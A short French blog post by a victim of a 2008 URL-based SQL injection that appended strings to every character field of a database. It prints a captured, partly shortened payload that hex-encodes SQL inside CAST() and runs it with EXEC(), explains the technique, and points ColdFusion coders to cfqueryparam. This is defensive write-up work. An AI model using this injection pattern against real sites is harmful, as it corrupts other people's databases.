Je suis une victime et non fier de l'être.
Une attaque qui se fait non pas via l'insertion de code SQL malicieux dans un formulaire en ligne mais via l'URL. Elle cible les champs de type caractères de toutes les tables de la BD pour y attacher une chaîne de caractères. Et oui, ça peut faire du dégat. La seule consolation est qu'aucune valeur de la BD n'est supprimée.
Échantillon
;DECLARE
%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
...
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
Le principe est le suivant. Dans la chaîne de caractères passée par l'URL, il y a un 0x* à l'intérieur de la fonction CAST() qui indique SQL que les valeurs contenues sont des codes ASCII et non des caractères traduits. CAST ensuite traduit les nombres en caractères qui sont exécutés par la commande EXEC().
Voilà ce dont j'ai été victime cette semaine où, en l'espace de quelques minutes, deux sites sur deux serveurs distincts ont été attaqués.
Solution pour les codeurs ColdFusion: Vous ne serez jamais victime de ce type d'attaque si vous utilisez cfqueryparam dans vos requêtes. Toutefois, si ce n'est pas le cas, utilisez ce bout de code dans vos pages application.cfm pour une solution rapide et efficace.
![]()
Pour plus d'info visitez http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII
7-30-2008
7-26-2008
7-25-2008
7-24-2008